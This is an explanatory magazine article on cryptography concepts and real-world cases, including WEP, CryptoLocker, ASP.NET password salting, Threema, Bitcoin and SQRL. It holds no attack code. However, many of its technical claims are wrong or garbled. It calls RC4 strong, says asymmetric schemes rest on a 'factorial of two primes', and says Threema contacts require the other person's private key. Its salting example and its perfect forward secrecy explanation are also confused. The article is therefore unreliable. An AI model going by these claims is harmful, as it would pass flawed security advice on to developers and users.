Cryptography Concepts
We have a couple of key cryptography concepts, which are available in our arsenal today.
Lets separate them off into two main categories and then into the detailed technical information:

Secrecy & Integrity

Under the title we are talking about solutions that allow us to keep the information readable only to the
intended recipients. Thereby, we make sure that the information has not been modified.
When talking about discreet behaviour and integrity, our living seems to managed relatively easy.
We have many technologies available at our disposal and we will mention them later on.

24

Mobile Pentesting

Trust
Trust is a more difficult thing to achieve. When talking about trust, we usually avoid the digital world since
it is very hard to come with a strong trust over the internet. How do I know, that the certificate i see uploaded
really belongs to the domain it claims to? How do I know, that domain belongs to the company is indicates.
Most of you have experienced a domain purchase, thus you know that there are many other domain names
very similar to your own. A famous phishing attack is known for purchasing the domain name paypaI.com
(which is paypa and a captial i).
It is important to note that these two categories are not really separated. We will talk about most of the
algorithms, which provide solutions for secrecy, integrity and trust or any other two of these categories, but
the sorting out intended to give the reader a better understanding of these two different problems.

The Tools We Have

For the years we (and by we, I mean other cool people since I had nothing to do with it) have created and
developed various good technologies to secure our data. I will try to cover and find out what they can be
used for as well as the advantages and disadvantages of them.

Hashing
Hashing algorithms are one way functions, which produce a known size output and requires no key. Hashes are
used to store sensitive information (including passwords) and as checksums for information. It is important to
remember that they do not provide any trust and hashing open algorithms, that anyone can generate a hash for a
known plain text.
The two prime examples (and, probably, most commonly known) are the MD5 cipher and the SHA2 family.
MD5 has been widely used but is now considered to be insecure due to known collusion attacks, that have
generated a 128bit output. SHA2 is a family, which encompass two most commonly used algorithms: the
SHA256 and the SHA512. The names indicate the output size. As for the day, this article is written (2014),
there is no mathematical attack available against the SHA2 family algorithms.
Since algorithms are built on block cipher, (discussed later in the article) each little modification to the plain
text will result in a major change to the output. This makes them great for integrity checking. The following
line Im just sitting here reading a magazine... gives the following output by using SHA256:
6e7ac84298c8fac86f3ca5c02b6d9f7a7472856ac92fa0d2a8ae97fcfb38c98a

If you input this line Im just sitting here reading a magazine... you will get the following output:
b1abf53eef4b67cedb52c717ed40b601f0a93820e805e2776aa3fcccfae0dc47

Notice how a small modification has resulted in a huge, easily noticeable difference.

Symmetric Encryption
A cipher will be categorized as symmetric encryption only when the key is being used to encrypt the plain
text. Then the same key required to decrypt the cipher text back to plain text. In this category we classify
them as stream ciphers and the block ciphers. The stream ciphers operate on one bit at the time when one of
the ground rules claims not to encrypt information with the same key twice. A prime example for a strong
stream cipher algorithm is RC4.
A block cipher is still a symmetric cipher but it runs on blocks of plain text and it runs in iterations.
These algorithms are more expensive (resources wise) but are dimmed stronger.

25

Mobile Pentesting
Two prime examples for strong block ciphers are the AES family and the Twofish algorithm.

A-Symmetric Encryption
A Symmetric encryption is a process which enables a key pair (public and private) while one is being used
to the encryption process and the other is used for the decryption process. At this article we will not go into
asymmetric encryption, but I would want to mention two key concepts. The first is that all big asymmetric
algorithms relay on a factorial of two prime numbers. These prime numbers are the fundamental blocks of all
numbers. Since there is no real way to compute prime numbers or check for prime numbers, they are harder
to come by. The last sentence is generally, but not entirely true. We do have algorithms like RabinMiller [1]
for a better method of checking if the number is a prime or a composite and we do have the Prime Number
Theorem [2] to allocate amount of primes within a group, but not to particularly determine which numbers
are the primes. We have the Eulers function ( f(n) = n2 + n + 41 ) alike other prime number. It is generating
functions of a certain type of primes or not always primes. Eventually, they are shown up as not to be valid
to anything relating to cryptography. The end concept you should know about Asymmetric encryption before
we go on is this:

Figure 1. Asymmetric encryption

To learn more about prime numbers, thats why I would recommend the book Rainbow of Primes by Joao
da Silva [3].

Real Uses of Cryptography

Blackberrys Messenger
Blackberry has an instant messaging protocol and program named BBM (Blackberry Messenger). BBM was
first available only on Blackberry devices but onthe 25th of October 2013 BBM was released for Android
and iOS as well. Many users find BBM is an encrypted and secure way to transfer message. Blackberry
pointed out:
BlackBerry Messenger and PIN to PIN messages are NOT encrypted. They are scrambled using a global
cryptographic key which EVERY BlackBerry in the world uses.

26

Mobile Pentesting
BBM uses an asymmetric key, employed on the all devices. It later uses an PINtoPIN encryption, but
the PIN is never encrypted. This is important to understand since those are not encrypted messages, but
scrambled ones.

WEP
WEP stands for Wired Equivalent Privacy. It is an amendment to the protocol introduced by the IEEE 802.11
WiFi protocol. WEP refers to more than just the encryption, but to the authentication process, the encryption,
the integrity and more. WEP applies the RC4 stream cipher for confidentiality. RC4 is esteemed to be good
stream cipher.
Even though RC4 is still being used in many protocols, where WEP is considered to be very insecure due to
the design of the protocol, not the encryption standard it implements. Since RC4 is a stream cipher repeating
the same key more than once, it is a big nono. If the same key is used more than once, it may allow an
attacker to conclude on the entire key and, eventually, rest of the messages accordingly. In order to avoid
this, the designers of WEP added an IV to the key.
The IV (initialization vector) is added to the key and therefore changing the actual key is going into the
RC4 cipher each time to ensure the same key is unrepeated. The IV is added to the packet and sent in
the clear to prevent other clients from repeating by using the same IV again. So far, its a good concept
of the implementation, however, it is a completely different thing. The IV is 24 bit long. Within 5,000
packets there is a 50% chance of the same IV being used twice. Since it is sent in the clear, an attacker
can easily spot two packets encrypted with the same IV.
A standard network will generate more than 5,000 packets per 10 second. Assume that you watch a 12
seconds long youtube video on HD, at the meanwhile you will generate approximately 43,000 packets.
If you would like to check that, load your favorite packet sniffer and prove it to yourself. This means
that an attacker does not even have to be active in order to crack the key and can just sniff traffic
(the bus is actually the air!); then, attempt to crack the key locally without generating any traffic or
interacting with the network or any of its clients.
To compare, the WPA1 standard which still utilizes RC4 for encryption, uses TKIP to exchange keys and the
WPA2 uses AES for the encryption process and can use TKIP and/or CCMP.
WEP takes a good symmetric cipher which is used in many other encryption standards such as WPA1,
SSL and others. It incorporates into a protocol, which misses the biggest issue with the cipher itself. It is
important to notice, that the authentication manner suits the RC4 algorithm as well as used in a challengeresponse manner. Note, that the main vulnerable point in WPA1&2 is the handshake itself.

PRISM NSA
The PRISM program was released in 2013 over Edward Snowdens case [1]. It has rattled the industry
and the world. Plenty of articles have been written about it and this is not going to be another one of them.
Instead, we are going to focus on the aftermath of this epic event.
The PRISM program has proven to us that a third party cannot be trusted whether we are referring to a
service provider or a product manufacturer (programs, certifications and more). It has been showed that
closed systems (software or encryption) is not something we can relay on. We need to understand how the
particular schemes work and let a sufficiently big group of experts to comment on that system, so that we
can vouch for its security. Big service providers have been proven to supply information to the PRISM
program (willingly and unwillingly [2]) and some have even tried to fight the program. LavaBit is a prime
example. When Lavabit were asked to hand over the SSL keys to their services, they tried to fight the act,
eventually handing the keys over. The event caused the shutdown of the company since it cannot guarantee
users safety and privacy [3].
This has woken up the information security community and they have started modifying the way we look
at security. Services like Threema, which we will talk about later, rose and started finding solutions how to
provide security but through transparency rather than obscurity.
27

Mobile Pentesting
The lesson we learn from this is that there are entities with interest and resources directed to trouble methods
of information breach. If we are keen to keep our information secure, we need to rely on comprehensive
mechanism. IPv6, for instance, requires the IPSec technology for encryption. IPSec [4] has been around
for a while with only one issue. The protocol is so mindbogglingly complex that not a single cryptographer
has been able to understand it and even state for its security level. Simple algorithms like the RSA,
AES, Twofish, PGP have all been proven to be secure with the test of time. They are relatively easy for
understanding and implementation, therefore, analysis and attacks can be implemented to patch up the
needed parts for us to make it secure.

Figure 2. Perfect Forward Secrecy

Perfect Forward Secrecy [1] is another concept which we have learned to use. Instead of using just the
TLSv1 or the SSL (even v3), we have a concept for the encryption, which cannot be decrypted backwards.
In the standard TLS protocol we just need the secret key and then we can decrypt all the data that was
sent in the history using that public key for encryption. We use the same TLS within PFS, but in that
strong tunnel we exchange a secret key (symmetric encryption) for that session only. This key is quite
long and strong. We mainly use it to encrypt the traffic of that session and will not be stored for any
further processe. This means that after the session is ended, the information still cannot be restored.

CryptoLocker
CryptoLocker is a relatively new ransomeware. The unique thing about this ransomeware is the way it
implements cryptographic (hindsight perfectly).
CryptoLocker spreads itself by using regular phishing emails and requires to be run as executable after
downloading. It infects only Windows machines. After being executed, CryptoLocker will copy itself to
a random name on your Documents and Settings folder. It will start a search for all *.doc, ppt, pptx, xls,
bmp, jpeg etc and will list them. On the next stage, it will turn to a bunch of DNSs which one of them is the
real C&C server. The C&C server creates a new UID for the infected machine and creates a new public and
private key pair. The public key is sent to the victims copy of CryptoLocker, which the encrypts all of the
files it listed in RSA 2048 bit. Later on, it zero fills all the original files and deletes them from the drive.
The user is then displayed with a message requesting 300 USD for the key which should be transferred via
BitCoin. If the user does not transfer the BitCoins required within 72 hours, the private key will be deleted
and the information is lost.

28

Mobile Pentesting

Figure 3. Example of a bad use of cryptography

This is a prime example of a bad use of cryptography, but perfectly accomplished (cryptography wise).
Only a public key is the one being transferred and the private key remains on an unknown server.
The RSA 2048 bit encryption is a very powerful algorithm rendering in very close to uncrackable with the
computing power we have today. Since the secret key was never stored locally, it is impossible to reach it
with the endpoint (victim) machine.
More detailed information about CryptoLocker is available here: http://blog.malwarebytes.org/
intelligence/2013/10/cryptolockerransomwarewhatyouneedtoknow/.

Microsofts Membership Providers

This is a technology unveiled by Microsoft in ASP.NET. I have recently come upon with this technology due
to a student after a cryptography lessons, who wondered the implementation was good. The answer is close
but no. The Membership Providers is the interface between the Microsoft ASP.NETs membership service
and membership data sources.
The purpose refers to the additional functionalities such as managing users (read and write), verify logins,
and more.
Regular hashed passwords are relatively easy to crack. Thereby, the best practice today is salting. On this
practice, we will concatenate more with data to the data method, which is already going into the hashing
algorithm and practically make the password stronger. For example, if we have a password of 123, the
SHA1 sum of it will be as following:
SHA1(123) = 40bd001563085fc35165329ea1ff5c5ecbdbbeef

The cracking of it is to look for the hash in google. We can use a salting method of adding the ahggf4%4d
string in the beginning and the string 12gf& at the end, making the password size larger and removing the
collisions when someone matches the hash (well see that in a minute).
pass = 123
SHA1(ahggf4%4d & pass & 12gf&) =323dd0a9312cd53581003d884fb307ca7c811087

This also protects us from collision attacks since someone got to our tables and assume that they find the
323dd0a9312cd53581003d884fb307ca7c811087 sum is generated by the plain text value of 123456 as well, when
they try to login, the salting will still occur meaning that:

29

Mobile Pentesting
pass=123456 //remember that SHA1(123456) == SHA1(ahggf4%4d & pass & 12gf&)
SHA1(ahggf4%4d & pass & 12gf&) // SHA1(ahggf4%4d12345612gf&

The reason we just went into that is the implementation of the cryptographic mechanism in the
Microsofts Membership Providers. If you go to the Microsofts documentation page you will find the
following table explanation:
Table 1. Membership Providers Reference Table
Column Name
ApplicationId
UserId
Password
PasswordFormat
PasswordSalt

Column Type
uniqueidentifier
uniqueidentifier
nvarchar(128)
int
nvarchar(128)

MobilePIN
Email
LoweredEmail
PasswordQuestion
PasswordAnswer
IsApproved
IsLockedOut
CreateDate

nvarchar(16)
nvarchar(256)
nvarchar(256)
nvarchar(256)
nvarchar(128)
bit
bit
datetime

Description
Application ID
User ID
Password (plaintext, hashed, or encrypted; base-64-encoded if hashed or encrypted)
Password format (0=Plaintext, 1=Hashed, 2=Encrypted)
Randomly generated 128-bit value used to salt password hashes; stored in base-64encoded form
Users mobile PIN (currently not used)
Users e-mail address
Users e-mail address (lowercase)
Password question
Answer to password question
1=Approved, 0=Not approved
1=Locked out, 0=Not locked out
Date and time this account was created

Trimmed it a bit to see only the fields we are interested in. If you look at the Password field it has 3
options plaintext which we do not want, hashed or encrypted. Now, encrypted options always have its issues
since it can be decrypted with the right key, but well let that go for now and consider the hashed option.
This service uses SHA1 as the hash function, which is already a bit problematic, but the most problematic
thing is the salting implementation, which is very important but in almost a useless way. The salt and the
password are saved on the same table. They are both BASE64 encoded (NOT encrypted! Just another
representation of the actual data). Thereby, when the attacker gets a read permission on the table, lets say via
SQL injection, the data is all he needs to decrypt the passwords.
Troy Hunt wrote a nice piece about this and if you write in ASP.NET or have an understanding of the
language then you will enjoy exploring it.
Threema is a recent application available for mobile devices. It is an instant messaging solution using PGP.
The cryptographic implementation of Threema is a very good example of how to use cryptography. When you
create a user on Threema, your device also generates a publicprivate key pair. Whenever you add a contact you
must have their private key. You can set levels of trust for the contact. You can get 1 rating for someone that you
do not know and has just texted you. You can get a 2 rating if the person you are communicating with is already
in your address book and has been matched via a phone number or an email address. A 3 star is something you
set manually or when you scan a QR code from a phone of your friend with the secret key.
For the sufficient system the infrastructure cannot be only peer to peer since this will require both parties
to be online for communication. In Threema you must go through Threemas servers, then you can leave
a message for a user while he is offline. In order to implement a privacy protection mechanism over your
contact list, Threemas client does not upload it to the server and does not search in plain text but rather
hashes the details of the user you are looking for and then searching for the hash on the server, so the server
does not recognize the user communicating with, but it is able to match a specific user with a specific key.
The implementation of the public key infrastructure with Threema allows you to encrypt the information and
to vouch for the authenticity of the author. The only key missing here for me is the exchange of a temporal
sessions key.
30

Mobile Pentesting

bitcoin
BitCoin is a new distributed monetary system based on a peertopeer topology.
The better term I like for this is cryptocurrency. The bitcoin system is divided into three main components:
The Wallet

The wallet is basically a public and private key pair, which is used to perform an outgoing transaction. You
need to have the private key of that particular wallet. The public key is shared with the entire network, which
will allow receiving bitcoins from other wallets.
The Block Chain

The block chain is the history of all the transactions, registered an verified in the bitcoin network.
The block chain is what makes BitCoin so strong. Since the currency flows as digital bits and bytes, there is
an important factor to make sure that no user can double spend the currency in that particular wallet.
Mining

Mining for bitcoin is the process which is used to reward users with bitcoins. The process is actually intended
to add computing power to the system by allowing users to gain currency. Mining allows user to recompute the
block chain and verify that all bitcoin done transactions are confirmed with a matching balance.
Though people will comment that bitcoin is still not a successful currency, for the time of March 2013
bitcoins network has had more computing power than the top 500 supercomputers in the world [2].
The original paper by Satoshi Nakamoto which suggested the BitCoin system can be found here [3].

SQRL
Secure QRcode
Login is another technology emerged from PRISM. Steve Gibson wrote a shocking white paper about an
alternative method for web authentication and privacy issues. This protocol utilizes asymmetric concepts and
algorithms to allow seamless and strong authentication.

Figure 4.Secure QRcode Login

The initial stage is the creation of a large seed, which will be the secret of that particular user. For each login
at a website the new publicprivate key pairs will be generated. The public key will be uploaded to the server
and will be correlated to that users account. From that point, whenever that user would want to authenticate
to that site, he will face a challenge. He will need to take that challenge and sign it with the secret key
31

Mobile Pentesting
matching the public key stored on the server. This will allow the site to know that the user who replied to the
challenge also has the private key matching the public key stored on the server.

Figure 5. SQRL- keys

This protocol is only at the entry stage of the development for now, but it is a very interesting concept
aiming the ambitious goal to replace (or going along with) the way we currently conduct authentications
over the web.
Read more about SQRL from the author himself here: https://www.grc.com/sqrl/sqrl.htm.

Wrapping It All Up
The end point of this article is that you should continue using encryption. Before implementing or judging
system, one has to possess a strong understanding of the methods. You do not need to be a mathematician.
You do not need to understand the bits and the bytes at this point. All you need is to gain practical knowledge
of encryption standards and algorithms. The do and the do nots at cryptography while reviewing a new
system are the obliging requirements for you in this case. Along with general concepts, you can see the point
of failures in many protocols, which is the basis of hacking.

About the Author

Yuval tisf Nativ is the Offensive Division manager at SeeSecurity Technologies. His work
encompasses consulting, security research and at night time teaching developers on how
to become hackers.

32